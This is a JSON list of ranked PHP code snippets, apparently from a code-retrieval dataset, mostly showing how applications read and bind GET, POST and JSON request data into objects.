[ { "docid": "f100484786fa1e82b0d759d9fc1e721d", "score": "0.66162425", "text": "abstract protected function setUsableData(Request $request);", "title": "" }, { "docid": "b13e70ba4d0ce23359fd23c0a5546486", "score": "0.61100054", "text": "protected function attachData(): Request\n {\n $data = collect(Arr::dot($this->data))\n ->map(function ($value, $key) {\n return \"{$key}={$value}\";\n })\n ->values()\n ->implode('&');\n\n $this->appendToEndpoint(\"?{$data}\");\n\n return $this;\n }", "title": "" }, { "docid": "52a6bcba0129d12d77b86ef022ce7a0a", "score": "0.5900995", "text": "protected function prepareAdditionalData() {}", "title": "" }, { "docid": "756a7d0b2646b762a967208011e4491a", "score": "0.5867937", "text": "protected function setAdditionalData()\n {\n $data = $this->getid3Data;\n $type = explode('/', $data['mime_type'], -1)[0];\n if (method_exists($this, $type)) {\n $data['additional_data'] = $this->$type($data);\n } else {\n $data['additional_data'] = null;\n }\n $this->getid3Data = $data;\n }", "title": "" }, { "docid": "eead5dc9477554fd1ab0f5ccf1ac76b9", "score": "0.5832666", "text": "public function populate_from_request()\r\n\t\t{\r\n\t\t\tforeach($this as $key => $value) \r\n\t\t\t{\t\t\t\r\n\t\t\t\t// If we can find a matching a post var with key matching\r\n\t\t\t\t// key of current object var, set object var to the post value. \r\n\t\t\t\tif(isset($_REQUEST[$key]))\r\n\t\t\t\t{\r\n\t\t\t\t\t// Add 'set_' prefix so member name is now a mutator method name.\r\n\t\t\t\t\t$method = 'set_'.$key;\r\n\t\t\t\t\t\r\n\t\t\t\t\t// If a mutator method by the current name exists, run it and\r\n\t\t\t\t\t// pass current request value. \r\n\t\t\t\t\tif(method_exists($this, $method)=== TRUE)\r\n\t\t\t\t\t{\t\t\t\t\t\t\r\n\t\t\t\t\t\t$this->$method($_REQUEST[$key]);\t\t\t\t\t\t\r\n\t\t\t\t\t}\r\n\t\t\t\t}\r\n\t\t\t}\r\n\t\t}", "title": "" }, { "docid": "e22c21b9b956f7a6cb39cd58dd8a0875", "score": "0.5823663", "text": "private function identifyRequestData() {\n $data = array_merge($_POST, $_GET);\n\n $input = file_get_contents('php://input') ?? [];\n $otherData = json_decode($input, true);\n if(json_last_error() !== JSON_ERROR_NONE)\n parse_str($input, $otherData);\n\n if(is_array($otherData))\n $data = array_merge($data, $otherData);\n $this->requestData = $data;\n }", "title": "" }, { "docid": "8c6f242aa942fe52154414a9861902fb", "score": "0.5766629", "text": "protected function setAttributes()\n {\n $inputs = array_merge($_GET,$_POST);\n $request = [];\n\n foreach ($inputs as $key => $value) {\n $request[e($key)] = e($value);\n }\n\n $this->attributes = $request;\n }", "title": "" }, { "docid": "a43055fad82614e81af2b1fc6f0115bd", "score": "0.57657206", "text": "public function bind() {\n\t\t// add request data\n\t\t$this->add($_REQUEST);\n\t}", "title": "" }, { "docid": "20717f08147653756cc0eb6c1c3f8a53", "score": "0.5647185", "text": "private function assignJSONParameters()\n {\n $_POST = json_decode(file_get_contents('php://input'), true);\n foreach ($_POST as $key => $data) {\n $this->{$key} = $data;\n }\n }", "title": "" }, { "docid": "f26a7f77662da6e5dc8063739b120822", "score": "0.5600605", "text": "public function __construct()\n {\n parent::__construct();\n $this->addPostRequestHandler([$this, \"onPostRequest\"]);\n }", "title": "" }, { "docid": "6fb71b4aadd1f718750eee029a22bb52", "score": "0.55902994", "text": "public function __construct()\n {\n $this->request=json_decode(file_get_contents('php://input'));\n\n // set messaging to a messaging variable from all request\n if(isset($this->request->entry[0]->messaging[0]))\n $this->messaging=$this->request->entry[0]->messaging[0];\n }", "title": "" }, { "docid": "7e7875b684106240590871e092dc1606", "score": "0.55507636", "text": "function __construct() {\n //use retrieveClientData for data retrival\n\n // put data here\n //$this->data\n\t}", "title": "" }, { "docid": "330362f347ee1c1a0149622a94988f87", "score": "0.5531732", "text": "public function setHttpRequestData($data)\n {\n if( is_array($data) ) {\n while( $var = each($data) )\n $this->__request__->$var['key'] = $var['value']; \n } else \n $this->__request__ = $data;\n }", "title": "" }, { "docid": "1bbfc8eaed2f85deca53f0ccb0a395df", "score": "0.5526554", "text": "static function parseRequest() {\n\n // We only want to parse and set\n // this once per request.\n if (empty(request::$data)) {\n $data = array();\n\n // Check for _POST data\n if (isset($_POST)) {\n foreach ($_POST as $k => $v) {\n $data['post'][$k] = $v;\n }\n }\n\n // Now check for _GET data\n if (isset($_GET)) {\n foreach ($_GET as $k => $v) {\n $data['get'][$k] = $v;\n }\n }\n\n // Check for Session data.\n if (isset($_SESSION)) {\n foreach ($_SESSION as $k => $v) {\n $data['session'][$k] = $v;\n }\n }\n\n request::$data = $data;\n }\n\n }", "title": "" }, { "docid": "8fa454c60573dec756de59fe68d12fda", "score": "0.5523095", "text": "public function __construct($request) {\r\n parent::__construct($request);\r\n\r\n }", "title": "" }, { "docid": "d95ecdf9502a68e5f77f77a27ee65774", "score": "0.54952323", "text": "public function addToRequest(&$request)\n {\n $request->body($this->toArray());\n }", "title": "" }, { "docid": "9f39ab72b615b2c87651296176bad773", "score": "0.54843134", "text": "function __construct($data) {\n parent::__construct($data);\n }", "title": "" }, { "docid": "811fbd43c4a5f114c69606ff3107e7cb", "score": "0.5470876", "text": "public function __construct($data){\n parent::__construct($data);\n }", "title": "" }, { "docid": "811fbd43c4a5f114c69606ff3107e7cb", "score": "0.5470876", "text": "public function __construct($data){\n parent::__construct($data);\n }", "title": "" }, { "docid": "cafb1d37831fdf5d812f47307c47a7f0", "score": "0.5463668", "text": "abstract protected function prepareRequest();", "title": "" }, { "docid": "83887902488e884f98f3729391ed6bdc", "score": "0.5449925", "text": "protected function bindData(& $parent, $data)\r\n\t{\r\n\t\t// Ensure the input data is an array.\r\n\t\tif(is_object($data)) {\r\n\t\t\t$data = get_object_vars($data);\r\n\t\t} else {\r\n\t\t\t$data = (array) $data;\r\n\t\t}\r\n\r\n\t\tforeach ($data as $k => $v) {\r\n\t\t\tif (is_array($v) || is_object($v)) {\r\n\t\t\t\tif (!isset($parent->$k)) {\r\n\t\t\t\t\t$parent->$k = new stdClass();\r\n\t\t\t\t}\r\n\t\t\t\t$this->bindData($parent->$k, $v);\r\n\t\t\t} else {\r\n\t\t\t\t$parent->$k = $v;\r\n\t\t\t}\r\n\t\t}\r\n\t}", "title": "" }, { "docid": "ea5965899884973e8d95adbf832ef516", "score": "0.54499227", "text": "function bind_data( $data){\n\t\t$this->data = $data;\n\t}", "title": "" }, { "docid": "9e6607d4be8595af611934fb96e1c92f", "score": "0.54496074", "text": "public function extractData () {\n\t\t\tif ($this->shouldHaveContent() === true) {\n\t\t\t\t$content = json_decode($this->getContent(), true);\n\t\t\t\t\n\t\t\t\t$this->jsonApiContent = new RequestObject($content, $this);\n\t\t\t}\n\t\t}", "title": "" }, { "docid": "d614f54bea6414121181ba1cb8c15256", "score": "0.5444056", "text": "protected function set_data_atts() {\n $this->data_attributes = [\n 'post-type' => $this->get_type(),\n 'author-count' => $this->get_authors_count(),\n ];\n }", "title": "" }, { "docid": "1551e522714ac817ba590eca4930a0f5", "score": "0.5442618", "text": "public function __construct($data){\n parent::__construct($data);\n \n }", "title": "" }, { "docid": "75499bc15d39484527e809540e168a0d", "score": "0.5441315", "text": "public function __construct($request) {\n\t\tparent::__construct($request);\n\t}", "title": "" }, { "docid": "6e2a3c3e32439808c03579278be75908", "score": "0.54368687", "text": "public function processData() {\r\r\n if ( is_array($this->data) && isset($this->data['args']) )\r\r\n $this->args = array_merge($this->args, $this->data['args']);\r\r\n\r\r\n if ( is_array($this->data) && isset($this->data['value']) ) {\r\r\n // If called from back-end non-post context\r\r\n $this->e_data = $this->decode_param($this->data['value']);\r\r\n $this->data = $this->encode_param($this->data['value']);\r\r\n } else {\r\r\n // POST method or something else\r\r\n $this->e_data = $this->decode_param($this->data);\r\r\n $this->data = $this->encode_param($this->data);\r\r\n }\r\r\n // All keys are strings in array, merge it with defaults to override\r\r\n $this->e_data = array_merge($this->default_options, $this->e_data);\r\r\n /**\r\r\n * At this point the this->data variable surely contains the encoded data, no matter what.\r\r\n */\r\r\n }", "title": "" }, { "docid": "52bb82052b584010914f60dc7f7734a7", "score": "0.54341227", "text": "public function postData()\n {\n }", "title": "" }, { "docid": "2949cfff4f727784623280c33658e494", "score": "0.5416757", "text": "public final function setRequest($request) {\n\t\tif ($request->getHeaderField('Content-Type') === 'application/json') {\n\t\t\t$this->postData = json_decode($request->getPostData(), true);\n\t\t}\n\t\t$this->request = $request;\n\t}", "title": "" }, { "docid": "5510a35c26f787d34c6a276035efab02", "score": "0.5412546", "text": "public function __construct($data){\n\t\tparent::__construct($data);\n\t}", "title": "" }, { "docid": "c631fa44edc00af614be2f7c8cb5455a", "score": "0.5404227", "text": "public function __construct()\n {\n parent::__construct();\n $this->addOpenRequestHandler([$this, \"onOpenRequest\"]);\n $this->addPostRequestHandler([$this, \"onPostRequest\"]);\n }", "title": "" }, { "docid": "b701c99643c6235ef3d4412871480b2e", "score": "0.54024005", "text": "private function setData(): void\n {\n $this->data = (object)filter_input_array(INPUT_POST, FILTER_DEFAULT);\n if (count(get_object_vars($this->data)) === 0) {\n try {\n $this->data = json_decode(file_get_contents('php://input'), false, 512, JSON_THROW_ON_ERROR);\n } catch (\\JsonException $e) {\n $this->setResponse(400,'error', \"json php://input {$e->getMessage()} - {$e->getFile()} - {$e->getLine()}\");\n }\n }\n }", "title": "" }, { "docid": "da074811d5ecd85c8d6eb3d9cb933428", "score": "0.5399128", "text": "public function addChild($name) {\n\t\t$this->$name = new Data();\n\t}", "title": "" }, { "docid": "f8a65a2fb879077ac5d27c3dc63b39c4", "score": "0.53898406", "text": "public function onAttaching($parent) { }", "title": "" }, { "docid": "65016400df833c4251f5459a39be42d8", "score": "0.5389051", "text": "public function __construct() {\n request::parseRequest();\n }", "title": "" }, { "docid": "2b96dcb248899f4fe2a9694ec9a691df", "score": "0.53747416", "text": "public function setRequestData($data) {\n\n\t\tif (self::_hasAdapter(get_class(), __FUNCTION__))\n\t\t\treturn self::_callAdapter(get_class(), __FUNCTION__, $data);\n\n\t\t$data = self::_applyFilter(get_class(), __FUNCTION__, $data, array('event' => 'args'));\n\n\t\t$this->_request_data = $data;\n\n\t\tself::_notify(get_class() . '::' . __FUNCTION__, $data);\n\t}", "title": "" }, { "docid": "778ebe3fddeb6bd11f3c65317138cca4", "score": "0.53656656", "text": "public function post() {\n // Do some crazy stuff here in a subclass …\n }", "title": "" }, { "docid": "23c94f7b3e0bae5164fc5d958fe75a09", "score": "0.5350155", "text": "public function __construct()\n\t{\n\t\tself::$input = new Request;\n\t}", "title": "" }, { "docid": "e5539a10843c03b8c97c68b8ad03cdf1", "score": "0.532932", "text": "function initData() {\n\t\tif (isset($this->submission)) {\n\t\t\tparent::initData(array(\n\t\t\t\t'seriesId' => $this->submission->getSeriesId(),\n\t\t\t\t'seriesPosition' => $this->submission->getSeriesPosition(),\n\t\t\t\t'workType' => $this->submission->getWorkType(),\n\t\t\t));\n\t\t} else {\n\t\t\tparent::initData();\n\t\t}\n\t}", "title": "" }, { "docid": "dd13b91a0bcf29bf1f78a7d1b052b3bc", "score": "0.532678", "text": "protected function attachRequestPayload($data)\n\t{\n\t\t$this->last_request['body'] = http_build_query($data);\n\t}", "title": "" }, { "docid": "8aa9e178aa57128bb4a873d4b442bff0", "score": "0.5325221", "text": "public function passRequestData()\n {\n $this\n ->getValidator()\n ->setInputData($this\n ->getRequest()\n ->query\n ->all()\n );\n\n $this\n ->getValidator()\n ->setInputData($this\n ->getRequest()\n ->request\n ->all()\n );\n\n return $this;\n }", "title": "" }, { "docid": "dd25327af1eb9b7ce7abd94d69ebc82f", "score": "0.5323517", "text": "public static function set()\n {\n foreach ($_GET as $key => $item) {\n self::$data[$key] = htmlspecialchars($item);\n }\n\n foreach ($_POST as $key => $item) {\n if(is_array($item)){\n foreach($item as $k => $v){\n self::$data[$key][$k] = htmlspecialchars($v);\n }\n }else {\n self::$data[$key] = htmlspecialchars($item);\n }\n }\n\n $_SESSION['request_data'] = self::$data;\n\n }", "title": "" }, { "docid": "ba0606ef0db62420b2fd0e8e1588a6a0", "score": "0.53232014", "text": "public function loadData()\n\t{\n\t\tif($this->_model!==null)\n\t\t{\n\t\t\t$class=CHtml::modelName($this->_model);\n\t\t\tif(strcasecmp($this->getRoot()->method,'get'))\n\t\t\t{\n\t\t\t\tif(isset($_POST[$class]))\n\t\t\t\t\t$this->_model->setAttributes($_POST[$class]);\n\t\t\t}\n\t\t\telseif(isset($_GET[$class]))\n\t\t\t\t$this->_model->setAttributes($_GET[$class]);\n\t\t}\n\t\tforeach($this->getElements() as $element)\n\t\t{\n\t\t\tif($element instanceof self)\n\t\t\t\t$element->loadData();\n\t\t}\n\t}", "title": "" }, { "docid": "9ba32fe1237ec2639005fa63172a380a", "score": "0.53124136", "text": "protected function addData($data)\t{ $this->data = array_merge($this->data, $data); }", "title": "" }, { "docid": "81378ee41b3406f5ca1e201c798801e1", "score": "0.53065956", "text": "public function _get_post_data()\n\t{\n\t\t$this->post_data = Event::$data;\n\t}", "title": "" }, { "docid": "ec084fe456a95e74f6271cb9de5f5cdd", "score": "0.52992225", "text": "public function __construct($request)\n {\n parent::__construct($request);\n }", "title": "" }, { "docid": "ec084fe456a95e74f6271cb9de5f5cdd", "score": "0.52992225", "text": "public function __construct($request)\n {\n parent::__construct($request);\n }", "title": "" }, { "docid": "01dee784fb2c01ef47d0351b263621f2", "score": "0.5294162", "text": "function init(){\n $this->server = $_SERVER; // server real data\n $this->cookie = $_COOKIE; // cookie real data\n $this->vars = array_merge($_GET, $_POST, $_FILES); // http real data\n }", "title": "" }, { "docid": "6ea98a229d439085a3d2a6b8b820c0f1", "score": "0.52692753", "text": "protected function initializeAttributes() {\n\t\tparent::initializeAttributes();\n\t\t\t\n\t\t$this->attributes[\"subtype\"] = self::SUBTYPE;\n\t\t$this->attributes[\"access_id\"] = ACCESS_PRIVATE;\n\t}", "title": "" }, { "docid": "2b8876545cc3cc1b4fafb8a97c444bbf", "score": "0.52547526", "text": "public function __construct(array $data)\n {\n $data = array_merge($this->attributes(), $data);\n\n parent::__construct($data);\n }", "title": "" }, { "docid": "a1b7a4ff7ed77b4caf499f6002aa0cf3", "score": "0.5254123", "text": "protected function data()\r\n {\r\n }", "title": "" }, { "docid": "bf00c283d31b6ede164c4b133cae6ef7", "score": "0.5253672", "text": "private function setData()\n\t{\n\t\t$this->data = [\n\t\t\t'nonce' => sanitize_text_field($_POST['wpduel-nonce']),\n\t\t\t'duel_id' => sanitize_text_field($_POST['duel_id']),\n\t\t\t'vote' => sanitize_text_field($_POST['vote'])\n\t\t];\n\t}", "title": "" }, { "docid": "7feea4884ac50e69d2392d788a268503", "score": "0.52516204", "text": "private function setPostDataToDataArray()\n\t{\n\t\ttry\n\t\t{\n\t\t\t# Set the Database instance to a variable.\n\t\t\t$db=DB::get_instance();\n\n\t\t\t# Check if the form has been submitted.\n\t\t\tif(array_key_exists('_submit_check', $_POST) && (isset($_POST['send']) && ($_POST['send']=='Send Request')))\n\t\t\t{\n\t\t\t\t$data=$this->getData();\n\n\t\t\t\t# Check if email POST data was sent.\n\t\t\t\tif(isset($_POST['email']))\n\t\t\t\t{\n\t\t\t\t\t# Set the email to the User data member.\n\t\t\t\t\t$data['Email']=trim($_POST['email']);\n\t\t\t\t}\n\n\t\t\t\t# Reset the data array to the data member.\n\t\t\t\t$this->setData($data);\n\t\t\t}\n\t\t}\n\t\tcatch(Exception $e)\n\t\t{\n\t\t\tthrow $e;\n\t\t}\n\t}", "title": "" }, { "docid": "271d43bcb11213a760d1d8ccb2326e34", "score": "0.52487487", "text": "function request(){\n foreach ($_REQUEST as $anahtar=>$istek){\n $this->request[$anahtar]\t\t\t\t= $istek;\n }\n if(isset($this->request['component'])){\n $this->component \t\t\t\t\t\t= $this->request['component'];\n }\n }", "title": "" }, { "docid": "9703899883999981fd98babaefcf965b", "score": "0.52457565", "text": "public function set_data()\n {\n }", "title": "" }, { "docid": "b2bf15cbbac71da6c1850906af602242", "score": "0.5243362", "text": "private function __construct(){\n\t\t$this->data = array_merge($_GET, $_POST, $_FILES);\n\n\t\t// start session to get flash variables\n if(!isset($_SESSION)){\n session_start();\n }\n // merge data with flash variables\n\t\tif(isset($_SESSION['ss_flash_variables'])){\n $this->data = array_merge($_SESSION['ss_flash_variables']);\n unset($_SESSION['ss_flash_variables']);\n }\n\t}", "title": "" }, { "docid": "0d805fa12e6b0085d9e288aaeef21868", "score": "0.5233978", "text": "function __construct($request)\n\n {\n\n parent::__construct($request);\n\n $this->message = @$_POST['message'];\n\n $this->message_type = $_POST['message_type'];\n\n $this->timestamp = @$_POST['timestamp'];\n\n \n\n if ($this->message_type == EnvayaSMS::MESSAGE_TYPE_MMS)\n\n {\n\n $this->mms_parts = array();\n\n foreach (json_decode($_POST['mms_parts'], true) as $mms_part)\n\n {\n\n $this->mms_parts[] = new EnvayaSMS_MMS_Part($mms_part);\n\n }\n\n } \n\n }", "title": "" }, { "docid": "3614155fdcfcdbad2971f475246bf813", "score": "0.5229071", "text": "protected function onRequest( array &$request ) {}", "title": "" }, { "docid": "3b6604f46241a2c2ae1c31a5ce26dd28", "score": "0.5227431", "text": "public static function _register()\n {\n self::assignElements([\n 'jobId' => [],\n 'fileReferenceId' => [],\n 'maxFileSize' => []\n ], parent::NAME);\n\n self::assignAttributes([]);\n }", "title": "" }, { "docid": "d4953e78d789074870c75826c91b53de", "score": "0.5226415", "text": "function construct() {\n parent::construct();\n\n $this->additional_fields['status'] = 'status';\n $this->additional_fields['date_sent'] = 'date_sent';\n $this->additional_fields['date_read'] = 'date_read';\n }", "title": "" }, { "docid": "f1c4dcefc40a2acd6ef628c9e0be8785", "score": "0.52129453", "text": "public function __construct() {\n $this->data = $_POST['data'];\n $this->retrievePunditContentDefault();\n }", "title": "" }, { "docid": "20d239ffae64c09e9303b31215efbeea", "score": "0.5203316", "text": "public function __construct( $data )\n {\n parent::__construct($data);\n }", "title": "" }, { "docid": "a1dfe17fb5139a79bce7e511956c2ec0", "score": "0.52022123", "text": "public function add() {\n if (!empty($this->request->data)) {\n $this->resources[$this->request->data['id']] = $this->request->data;\n } \n $resources = $this->resources;\n $this->set(array('resources' => $resources, '_serialize' => 'resources')); \n }", "title": "" }, { "docid": "d2fad68bd2c2966f18598f2438478a38", "score": "0.52002084", "text": "public function attach($owner) {\n $owner->attachEventHandler('onBeginRequest', array($this, 'handleBeginRequest'));\n }", "title": "" }, { "docid": "ab1238b570626d7fb3a6814f5df71634", "score": "0.51998514", "text": "private function loadParams()\n {\n $this->request = array_merge($_POST, $_GET);\n }", "title": "" }, { "docid": "cf7da21f4f15ecfebdfe541f6b1a9b0e", "score": "0.519834", "text": "public function needAdditionalData()\n {\n return true;\n }", "title": "" }, { "docid": "32d052094d4b5c43edec6b4195e488d5", "score": "0.51976335", "text": "public function __construct() {\n $this->handleData('key', 'val');\n }", "title": "" }, { "docid": "643023ad9e26c9e880a9c53f31a4a3a7", "score": "0.51911527", "text": "public function __construct()\n {\n // check sontent type\n $this->contentType = isset($_SERVER['CONTENT_TYPE']) ? trim($_SERVER['CONTENT_TYPE']) : '';\n // Instantiate DB & connect\n $this->database = new Connect();\n $this->db = $this->database->connect();\n // Instantiate Appointment object\n $this->User = new User($this->db);\n\n $this->data = json_decode(file_get_contents(\"php://input\"));\n }", "title": "" }, { "docid": "290c958c7e43d363514a2ef26aedb858", "score": "0.5187186", "text": "function __construct($data){\n $this->data = $data;\n }", "title": "" }, { "docid": "0c030817cf2f6db7136c7acabeb8ab09", "score": "0.51857764", "text": "protected function _construct()\n {\n $params = $this->getRequest()->getParams();\n\n // Convert GET parameters to an object\n // to use getters and setters\n $this->apiRequest = new Varien_Object();\n $this->apiRequest->setData($params);\n }", "title": "" }, { "docid": "3a97831280293c326fea6565eb94ed1d", "score": "0.51799613", "text": "public abstract function getAppRequestData();", "title": "" }, { "docid": "e5f2c2d81be0ab5d14eb1989a0b579d1", "score": "0.5177518", "text": "function initData() {\r\n\t\tif (isset($this->extraFieldId)) {\r\n\t\t\t$extraFieldDao =& DAORegistry::getDAO('ExtraFieldDAO');\r\n\t\t\t$extraField =& $extraFieldDao->getExtraField($this->extraFieldId);\r\n \r\n $this->_data = array(\r\n\t\t\t\t'extraFieldNames' => array(),\r\n\t\t\t\t'active' => $extraField->getExtraFieldActive()\r\n\t\t\t);\r\n \r\n $extraFieldNames =& $extraField->getExtraFieldName(null);\r\n $journal = Request::getJournal();\r\n foreach ($journal->getSupportedLocaleNames() as $localeKey => $localeValue) {\r\n if (isset($extraFieldNames[$localeKey])) {\r\n $this->_data['extraFieldNames'][$localeKey] = $extraFieldNames[$localeKey];\r\n }\r\n }\r\n\r\n } else {\r\n $this->_data = array('active' => EXTRA_FIELD_ACTIVE);\r\n }\r\n\t}", "title": "" }, { "docid": "654623f4457de557853b44cb0c1adf00", "score": "0.51752836", "text": "public function __construct()\n {\n $this->input = $_REQUEST;\n }", "title": "" }, { "docid": "1ef8338ee97e481a5f6d5fe49e3a2825", "score": "0.5171526", "text": "private function buildRequestBag(): void\n {\n $this->appendGETParams();\n $this->appendPOSTParams();\n $this->processFiles();\n $this->normalizeRequestBag();\n }", "title": "" }, { "docid": "2c5e97abca8439a6dbe3a0122d501ae0", "score": "0.51713043", "text": "public function setAdditionalData($additionalData);", "title": "" }, { "docid": "fb51819d5a84af06842561072aae2da1", "score": "0.5167122", "text": "function read() { //leer las variables de instancia y leerlas del get o del post\n foreach ($this as $atributo => $valor) {\n $this->$atributo = Request::read($atributo); //por cada atributo que tiene la asignatura leo el atributo y se lo asigno, si uno de ellos falla devuelve null\n }\n }", "title": "" }, { "docid": "7dc984d737dd9bf4665e0fc882722f1e", "score": "0.5165672", "text": "public function __construct() { parent::__construct('json', 'application/json'); }", "title": "" }, { "docid": "08b7202a3096716f0c364d5d98e766ef", "score": "0.5155071", "text": "public function assignData($data)\r\n {\r\n if (!($data instanceof Varien_Object)) {\r\n $data = new Varien_Object($data);\r\n }\r\n //$info = $this->getInfoInstance();\r\n Mage::log('-----assignData----');\r\n\r\n// Mage::log('Nonce='.$_POST[]);\r\n foreach (Mage::app()->getRequest()->getPost() as $valor){\r\n foreach ($valor as $valor2){\r\n Mage::log(\"a. \".$valor2);\r\n }\r\n }\r\n\r\n return $this;\r\n }", "title": "" }, { "docid": "51cba79bb6ff527ae622bbe7f6f3d7b5", "score": "0.5146492", "text": "private function methodRequest()\n {\n $this->method = $this->getMethod();\n $this->data = $this->getRequestData();\n\n $this->array['error'] = '';\n $this->array['logged'] = false;\n }", "title": "" }, { "docid": "a636028fb04a398dfbff88555da655fc", "score": "0.5142386", "text": "function setInput($_data)\n {\n $this->data = $_data;\n }", "title": "" }, { "docid": "05059a309d6623dcf9b80f338df30da3", "score": "0.513221", "text": "public function setFormData()\n {\n Client::perform('set-class-values', [\n 'class' => 'client,ticket_settings',\n 'values' => [\n 'ticket_emails' => $this->ticket_emails,\n 'send_message_text' => $this->send_message_text,\n 'new_messages_first' => $this->new_messages_first,\n ],\n ]);\n }", "title": "" }, { "docid": "28df9e4750bc8fdfd29ca7a50951cb5a", "score": "0.5114015", "text": "private function setup_u_data()\n\t{\n\t\t// directly) then add these to the params too\n\t\tif ($this->u_id OR $this->u_name OR $this->u_apikey)\n\t\t{\n\t\t\t// Do not overwrite them\n\t\t\tif ( ! array_key_exists('u_data', $this->params))\n\t\t\t{\n\t\t\t\t$this->params['u_data'] = array();\n\t\t\t}\n\n\t\t\tif ($this->u_id AND ! array_key_exists('u_id', $this->params['u_data']))\n\t\t\t{\n\t\t\t\t$this->params['u_data']['u_id'] = $this->u_id;\n\t\t\t}\n\n\t\t\tif ($this->u_name AND ! array_key_exists('u_name', $this->params['u_data']))\n\t\t\t{\n\t\t\t\t$this->params['u_data']['u_name'] = $this->u_name;\n\t\t\t}\n\n\t\t\tif ($this->u_apikey AND ! array_key_exists('u_apikey', $this->params['u_data']))\n\t\t\t{\n\t\t\t\t$this->params['u_data']['u_apikey'] = $this->u_apikey;\n\t\t\t}\n\t\t}\n\t}", "title": "" }, { "docid": "aee3bc437d9c4d668da13ee48e8e6465", "score": "0.51093477", "text": "protected function setData() {\n $json = file_get_contents('php://input');\n $this->requestData = json_decode($json);\n\n return $this->requestData;\n }", "title": "" }, { "docid": "c43457dd3c99d1053b59581c6552f850", "score": "0.5103806", "text": "function __construct(){\n\n // Store all our $_POST data in the $data variable\n if( !empty($_POST)){\n\n $conn = $this->conn();\n $escPost = array();\n //for each peice of data in the post data, loop through each as\n foreach($_POST as $key => $value){\n $escPost[$key] = trim( mysqli_real_escape_string($conn, $value) );\n }\n $conn->close();\n $this->data = $escPost;\n }\n\n // Store all our $_GET data in the $data variable\n if( !empty($_GET)){\n\n $conn = $this->conn();\n $escGet = array();\n //for each peice of data in the post data, loop through each as\n foreach($_GET as $key => $value){\n $escGet[$key] = trim( mysqli_real_escape_string($conn, $value) );\n }\n $conn->close();\n $this->params = $escGet;\n }\n }", "title": "" }, { "docid": "78c3839a12867ef54f3642b6a1f908e2", "score": "0.51021177", "text": "protected function loadRequest()\r {\r }", "title": "" }, { "docid": "6d4ad86bc659790dfc3858cb6a1a7171", "score": "0.5101529", "text": "public function assignData($data) {\n\t\t//$info = $this->getInfoInstance();\n\t\t//$info->setAdditionalData(serialize($addata));\n\t\t\n return $this;\n }", "title": "" }, { "docid": "e168d205892fc95304a26741e8c6030d", "score": "0.5097246", "text": "private function __construct()\n\t{\n\t\tif (empty($this->rawData) && !empty($rawBody = file_get_contents(\"php://input\"))) {\n\t\t\t// assume it's just json\n\t\t\tif ($postJson = json_decode($rawBody, true)) {\n\t\t\t\t$this->rawData = $postJson;\n\t\t\t}\n\t\t}\t\n\t}", "title": "" }, { "docid": "fa5cc0ab23ea8707b52c3441c89d9cbe", "score": "0.508793", "text": "abstract protected function set_attributes();", "title": "" }, { "docid": "0df04fa71be22a4211810a9c4728792c", "score": "0.5087083", "text": "public function __construct($data)\n {\n parent::__construct($data);\n $this->info = $data['info'];\n $this->downloads = $data['downloads'];\n }", "title": "" }, { "docid": "ddfb91af4d228cda2a1237377342af1a", "score": "0.50865406", "text": "protected function initializeAttributes() {\n\t\tparent::initializeAttributes();\n\t\t\n\t\t$this->attributes['subtype'] = self::SUBTYPE;\n\t}", "title": "" }, { "docid": "c06908c24b378250cac5eafd89f97b2b", "score": "0.50816506", "text": "function setFromRequest() {\n if( isset($_REQUEST[\"authId\"]) ) {\n if( $this->authId != $_REQUEST[\"authId\"] ) {\n // authId changed => forgot old values\n $this->authKey = NULL;\n $this->bindingId = NULL;\n $this->bindingKey = NULL;\n }\n $this->authId = $_REQUEST[\"authId\"];\n if( isset($_REQUEST[\"authKey\"]) ) {\n $this->authKey = $_REQUEST[\"authKey\"];\n };\n if( isset($_REQUEST[\"bindingId\"]) ) {\n $this->bindingId = $_REQUEST[\"bindingId\"];\n };\n if( isset($_REQUEST[\"bindingKey\"]) ) {\n $this->bindingKey = $_REQUEST[\"bindingKey\"];\n };\n } else {\n $this->authId = NULL;\n $this->authKey = NULL;\n $this->bindingId = NULL;\n $this->bindingKey = NULL;\n }\n }", "title": "" }, { "docid": "708f26109238b4cd4517db7f6096c861", "score": "0.50792044", "text": "public function __construct($data) {\n $this->_data = $data;\n }", "title": "" }, { "docid": "5717f033fb21ec480171ca485f715dab", "score": "0.50781995", "text": "public function inherit($parent_view, $type = 'global')\n\t{\n\t\t$this->data = $parent_view->getData($type);\n\t}", "title": "" }, { "docid": "b175c4e2a6430e9f889226874841259c", "score": "0.50738704", "text": "private function populate() { $request = $this->dispatcher->getTopRequest();\n // For each property that we have, check for FormField annotations\n foreach($this->form_fields as $propName => $data) {\n if($data['type'] == \"file\") {\n if(isset($_FILES[$data['fieldName']])) {\n $this->$propName = $_FILES[$data['fieldName']];\n }\n } else {\n if(isset($request->args[$data['fieldName']])) {\n $this->$propName = $request->args[$data['fieldName']];\n } else {\n $this->$propName = $data['default'];\n }\n }\n }\n }", "title": "" }, { "docid": "6fc646e152067b66d68b65079625357c", "score": "0.50734264", "text": "public function __construct() {\n parent::__construct();\n $this->setOdataType('#microsoft.graph.mailAssessmentRequest');\n }", "title": "" }, { "docid": "c489f7ee812b4ce7bfdcbc7664601375", "score": "0.5069714", "text": "public function attachData($data, $name, array $options = []);", "title": "" }, { "docid": "856accb54533db75ebd8312e7e4748fa", "score": "0.50689495", "text": "function __construct ($add_headers = false) {\n\t\n\t\t$this->retrieve_headers($add_headers);\n\t\t$this->body = @file_get_contents('php://input');\n\t}", "title": "" }, { "docid": "42f203619de9ba66584d8ff90b112b92", "score": "0.5067039", "text": "protected function processIncomingFormData()\n {\n }", "title": "" }, { "docid": "713046bb2a45602802074aac71b739e2", "score": "0.50622827", "text": "function __construct () {\n\n # Inherit the parent class' properties\n parent::__construct ();\n\n }", "title": "" }, { "docid": "89972b21436e2de892b575cf0691dd97", "score": "0.5059695", "text": "function __construct() {\n\t\tif (!empty($_GET)) {\n\t\t\t$this->requestParams = $_GET;\n\t\t} else {\n\t\t\t$this->requestParams = $_POST;\n\t\t}\n\t}", "title": "" } ]
56ac6cf543b4f5eb2461bf33c70df5b5
Set the value for the Language input for this DrivingDistanceMatrix Choreo.
[ { "docid": "91ddb12bd4acbfb2fa725a4f78c0c675", "score": "0.52900255", "text": "public function setLanguage($value)\n {\n return $this->set('Language', $value);\n }", "title": "" } ]
